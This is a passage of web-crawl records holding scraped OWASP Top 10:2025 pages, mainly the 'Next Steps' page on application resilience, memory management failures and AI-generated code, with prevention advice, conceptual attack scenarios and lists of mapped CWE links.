Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 11002, "slov": 1200, "odkazu": 69, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:42", "sha256": "b8c9d1fb5bc3d019a8dfb16a097a4e81d1a92d236788bd646b1577e8d1f80cfb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/X01_2025-Next_Steps/", "titulek": "다음 단계 - OWASP Top 10:2025", "h1": "Next Steps", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/X01_2025-Next_Steps/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Next Steps"}, {"uroven": 2, "text": "X01:2025 Lack of Application Resilience"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Score table."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent"}, {"uroven": 3, "text": "Example attack scenarios."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}, {"uroven": 2, "text": "X02:2025 Memory Management Failures"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Score table."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent."}, {"uroven": 3, "text": "Example attack scenarios."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}, {"uroven": 2, "text": "X03:2025 Inappropriate Trust in AI Generated Code ('Vibe Coding')"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}], "markdown": "# Next Steps\n\nBy design, the OWASP Top 10 is innately limited to the ten most significant risks. Every OWASP Top 10 has “on the cusp” risks considered at length for inclusion, but in the end, didn't make the cut. The other risks were more prevalent and impactful.\n\nThe following two issues are well worth the effort to identify and remediate, organizations working towards a mature appsec program, security consultancies, or tool vendors wishing to expand coverage for their offerings.\n\n## X01:2025 Lack of Application Resilience\n\n### Background.\n\nThis is a renaming of 2021’s Denial of Service. That was renamed as it described a symptom rather than a root cause. This category focuses on CWEs that describe weaknesses that are related to resilience issues. The scoring of this category was very close with A10:2025-Mishandling of Exceptional Conditions. Relevant CWEs include: *CWE-400 Uncontrolled Resource Consumption, CWE-409 Improper Handling of Highly Compressed Data (Data Amplification), CWE-674 Uncontrolled Recursion*, and *CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop').*\n\n### Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 | 4,423 |\n\n### Description.\n\nThis category represents a systemic weakness in how applications respond to stress, failures, and edge cases that it is unable to recover from failure. When an application does not gracefully handle, withstand, or recover from unexpected conditions, resource constraints, and other adverse events it can easily result in availability issues (most commonly), but also data corruption, sensitive data disclosure, cascading failures, and/or bypasses of security controls.\n\nFurthermore X02:2025 Memory Management Failures can also lead to failure of the application or even the entire system.\n\n### How to prevent\n\nIn order to prevent this type of vulnerability you must design for failure and recovery of your systems.\n\n- Add limits, quotas, and failover functionality, paying special attention to the most resource consuming operations\n- Identify resource intensive pages and plan ahead: Reduce attack surface especially not exposing unneeded ‘gadgets’ and functions that require a lot of resources (e.g. CPU, memory) to unknown or untrusted users\n- Perform strict input validation with allow-lists and size limitations, then test thoroughly\n- Limit response sizes, and never send raw responses back to the client (process on the server side)\n- Default to safe/closed (never open), deny by default and roll back if there’s an error\n- Avoid blocking synchronous calls in request threads (use asynchronous/non-blocking, have timeouts, have concurrency limits, etc.)\n- Carefully test your error handling functionality\n- Implement resilience patterns such as circuit breakers, bulkheads, retry logic, and graceful degradation\n- Do performance and load testing; add chaos engineering if you have the risk appetite for it\n- Implement and architect for redundancy where reasonable and affordable\n- Implement monitoring, observability, and alerting\n- Filter invalid sender addresses in accordance with RFC 2267\n- Block known botnets by finger prints, IPs, or dynamically by behavior\n- Proof-of-Work: initiate resource consuming operations at the *attackers* side that does not have big impacts on normal users but impacts bots trying to send a huge amount of requests. Make the Proof-of-Work more difficult if the general load of the system raises, especially for systems that are less trustworthy or appear to be bots\n- Limit server side session time based on inactivity and a final timeout\n- Limit session bound information storage\n\n### Example attack scenarios.\n\n**Scenario #1:** Attackers intentionally consume application resources to trigger failures within the system, resulting in denial of service. This could be memory exhaustion, filling up disk space, CPU saturation, or opening endless connections.\n\n**Scenario #2:** Input fuzzing that leads to crafted responses that break application business logic.\n\n**Scenario #3:** Attackers focus on the application’s dependencies, taking down APIs or other external services, and the application is unable to continue.\n\n### References.\n\n- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [ASP.NET Core Best Practices (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [Resilience in Microservices: Bulkhead vs Circuit Breaker (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [Bulkhead Pattern (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework)\n- [Avoid Blocking Calls: Go Async in Java (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### List of Mapped CWEs\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Plaintext Storage of a Password](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Improper Isolation or Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)\n\n## X02:2025 Memory Management Failures\n\n### Background.\n\nLanguagess like Java, C#, JavaScript/TypeScript (node.js), Go, and \"safe\" Rust are memory safe. Memory management problems tend to happen in non-memory safe languages such as C and C++. This category scored the lowest on the community survey and low in the data despite having the third most related CVEs. We believe this is due to the predominance of web applications over more traditional desktop applications. Memory management vulnerabilities frequently have the highest CVSS scores.\n\n### Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 | 30,978 |\n\n### Description.\n\nWhen an application is forced to manage memory itself, it is very easy to make mistakes. Memory safe languages are being used more often, but there are still many legacy systems in production worldwide, new low-level systems that require the use of non-memory safe languages, and web applications that interact with mainframes, IoT devices, firmware, and other systems that may be forced to manage their own memory. Representative CWEs are *CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')* and *CWE-121 Stack-based Buffer Overflow*.\n\nMemory management failures can happen when:\n\n- You do not allocate enough memory for a variable\n- You do not validate input, causing an overflow of the heap, the stack, a buffer\n- You store a data value that is larger than the type of the variable can hold\n- You attempt to use unallocated memory or address spaces\n- You create off-by-one errors (counting from 1 instead of zero)\n- You try to access an object after its been freed\n- You use uninitialized variables\n- You leak memory or otherwise use up all available memory in error until our application fails\n\nMemory management failures can lead to failure of the application or even the entire system, see also X01:2025 Lack of Application Resilience\n\n### How to prevent.\n\nThe best way to prevent memory management failures is to use a memory-safe language. Examples include Rust, Java, Go, C#, Python, Swift, Kotlin, JavaScript, etc. When creating new applications, try hard to convince your organization that it is worth the learning curve to switch to a memory-safe language. If performing a full refactor, push for a rewrite in a memory-safe language when it is possible and feasible.\n\nIf you are unable to use a memory-safe language, perform the following:\n\n- Enable the following server features that make memory management errors harder to exploit: address space layout randomization (ASLR), Data Execution Protection (DEP), and Structured Exception Handling Overwrite Protection (SEHOP).\n- Monitor your application for memory leaks.\n- Validate all input to your system very carefully, and reject all input that does not meet expectations.\n- Study the language you are using and make a list of unsafe and more-safe functions, then share that list with your entire team. If possible, add it to your secure coding guideline or standard. For example, in C, prefer strncpy() over strcpy() and strncat() over strcat().\n- If your language or framework offers memory safety libraries, use them. For example: Safestringlib or SafeStr.\n- Use managed buffers and strings rather than raw arrays and pointers whenever possible.\n- Take secure coding training that focuses on memory issues and/or your language of choice. Inform your trainer that you are concerned about memory management failures.\n- Perform code reviews and/or static analyses.\n- Use compiler tools that help with memory management such as StackShield, StackGuard, and Libsafe.\n- Perform fuzzing on every input to your system.\n- If you have a penetration test performed, inform your tester that you are concerned about memory management failures and that you would like them to pay special attention to this while testing.\n- Fix all compiler errors *and* warnings. Do not ignore warnings because your program compiles.\n- Ensure your underlying infrastructure is regularly patched, scanned, and hardened.\n- Monitor your underlying infrastructure specifically for potential memory vulnerabilities and other failures.\n- Consider using [canaries](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) to protect your address stack from overflow attacks.\n\n### Example attack scenarios.\n\n**Scenario #1:** Buffer overflows are the most famous memory vulnerability, a situation where an attacker submits more information into a field than it can accept, such that it overflows the buffer created for the underlying variable. In a successful attack, the overflow characters overwrite the stack pointer, allowing the attacker to insert malicious instructions into your program.\n\n**Scenario #2:** Use-After-Free (UAF) happens often enough that it’s a semi-common browser bug bounty submission. Imagine a web browser processing JavaScript that manipulates DOM elements. The attacker crafts a JavaScript payload that creates an object (such as a DOM element) and obtains references to it. Through careful manipulation, they trigger the browser to free the object's memory while keeping a dangling pointer to it. Before the browser realizes the memory has been freed, the attacker allocates a new object that occupies the *same* memory space. When the browser tries to use the original pointer, it now points to attacker-controlled data. If this pointer was for a virtual function table, the attacker can redirect code execution to their payload.\n\n**Scenario #3:** A network service that accepts user input, doesn’t properly validate or sanitize it, then passes it directly to the logging function. The input from the user is passed to the logging function as syslog(user_input) instead of syslog(\"%s\", user_input), which doesn’t specify the format. The attacker sends malicious payloads containing format specifiers such as %x to read stack memory (sensitive data disclosure) or %n to write to memory addresses. By chaining together multiple format specifiers they could map out the stack, locate important addresses, and then overwrite them. This would be a Format string vulnerability (uncontrolled string format).\n\nNote: modern browsers use many levels of defenses to defend against such attacks, including [browser sandboxing](https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/#types-of-browser-sandboxing) ASLR, DEP/NX, RELRO, and PIE. A memory management failure attack on a browser is not a simple attack to carry out.\n\n### References.\n\n- [OWASP community pages: Memory leak,](https://owasp.org/www-community/vulnerabilities/Memory_leak) [Doubly freeing memory,](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [& Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC Blog](https://www.microsoft.com/en-us/msrc/blog)\n\n### List of Mapped CWEs\n\n- [CWE-14 Compiler Removal of Code to Clear Buffers](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 Stack-based Buffer Overflow](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 Buffer Underwrite ('Buffer Underflow')](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 Buffer Over-read](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 Integer Underflow (Wrap or Wraparound)](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 Unsigned to Signed Conversion Error](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 Double Free](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 Use After Free](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 Use of Uninitialized Variable](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 Use of sizeof() on a Pointer Type](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 Out-of-bounds Write](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 Access of Memory Location After End of Buffer](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 Access of Uninitialized Pointer](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 Inappropriate Trust in AI Generated Code ('Vibe Coding')\n\n### Background.\n\nCurrently the entire world is talking about and using AI, and this includes software developers. Although there are currently no CVEs or CWEs related to AI generated code, it is well known and documented that AI generated code often contains more vulnerabilities than code written by human beings.\n\n### Description.\n\nWe are seeing software development practices change to include not only code written with the assistance of AI, but code written and committed almost entirely without human oversight (often referred to as vibe coding). Just as it was never a good idea to copy code snippets from blogs or websites without thinking twice, the problem is exacerbated in this case. Good, secure code snippets were and are rare and might be statistically neglected by AI due to system constraints.\n\n### How to prevent.\n\nWe urge all people who write code to consider the following when using AI:\n\n- You should be able to read and fully understand all code you submit, even if it is written by an AI or copied from an online forum. You are responsible for all code that you commit.\n- You should review all AI-assisted code thoroughly for vulnerabilities, ideally with your own eyes and also with security tooling made for this purpose (such as static analysis). Consider using classic code review techniques as described in [OWASP Cheat Sheet Series: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Ideally, write your own code, let the AI suggest improvements, check the AI's code, and let the AI make corrections until you are satisfied with the result.\n- Consider using a Retrieval Augmented Generation (RAG) server with your own collected and reviewed secure code samples and documentation, such as your organization’s security coding guideline, standard, or policy, and have the RAG server enforce any policies or standards.\n- Consider purchasing tooling that implements guardrails for privacy and security for use with your AI(s) of choice.\n- Consider purchasing a private AI, ideally with a contract agreement (including a privacy agreement) that the AI is not to be trained on your organization’s data, queries, code or any other sensitive information.\n- Consider implementing an Model Context Protocol (MCP) server in-between your IDE and AI, then set it up to enforce the use of your security tooling of choice.\n- Implement policies and processes as part of your SDLC to inform developers (and all employees) of how they should and should not use AI within your organization.\n- Create a list of good and effective prompts, that take IT security best practices into account. Ideally they should also consider your internal secure coding guidelines. Developers can use this prompts as a starting point for their programs.\n- AI is likely to become part of each phase of your system development life cycle, both how to use it effectively and safely. Use it wisely.\n- Actually it is **not** recommended to use vibe coding for complex functions, business critical programs, or programs that are used for a long time.\n- Implement technical checks and safeguards against the use of Shadow AI.\n- Train your developers on your policies, as well as safe AI usage and best practices for using AI in software development.\n\n### References.\n\n- [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### List of Mapped CWEs\n\n-none-", "znaku_textu": 21639, "slov": 2717, "odkazu": 125, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:43", "sha256": "2af9a69866d59ad9a2bb1ef434393c537d8e7d1cdb17e5bbd5feaa03c0d224d0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/", "titulek": "Início - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "Sobre este Lançamento"}, {"uroven": 2, "text": "Página Principal do Projeto"}, {"uroven": 2, "text": "Primeiros Passos"}, {"uroven": 2, "text": "Navegação"}, {"uroven": 3, "text": "Lista do Top 10:2025"}], "markdown": "# OWASP Top 10:2025\n\nBem-vindo ao lançamento do **OWASP Top 10:2025**.\n\nO OWASP Top 10 é um documento padrão de conscientização para desenvolvedores e segurança de aplicações web. Ele representa um amplo consenso sobre os riscos de segurança mais críticos para aplicações web.\n\n## Sobre este Lançamento\n\nEsta é a versão **2025** do OWASP Top 10. Esta versão inclui atualizações baseadas nos dados e tendências de segurança mais recentes.\n\n## Página Principal do Projeto\n\nA [página principal do projeto](https://github.com/OWASP/www-project-top-ten) contém informações sobre versões anteriores e metadados sobre este projeto.\n\n## Primeiros Passos\n\nComece pela [Introdução](0x00_2025-Introduction/) para saber o que há de novo na versão 2025.\n\n## Navegação\n\n- [Introdução](0x00_2025-Introduction/)\n- [Sobre a OWASP](0x01_2025-About_OWASP/)\n- [O que são Riscos de Segurança de Aplicações?](0x02_2025-What_are_Application_Security_Risks/)\n- [Estabelecendo um Programa Moderno de Segurança de Aplicações](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Lista do Top 10:2025\n\n1. [A01:2025 - Controle de Acesso Quebrado](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Configuração Insegura](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Falhas na Cadeia de Suprimentos de Software](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Falhas Criptográficas](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Injeção](A05_2025-Injection/)\n6. [A06:2025 - Design Inseguro](A06_2025-Insecure_Design/)\n7. [A07:2025 - Falhas de Autenticação](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Falhas de Integridade de Software ou de Dados](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Falhas de Registro e Monitoramento de Segurança](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Tratamento Incorreto de Condições 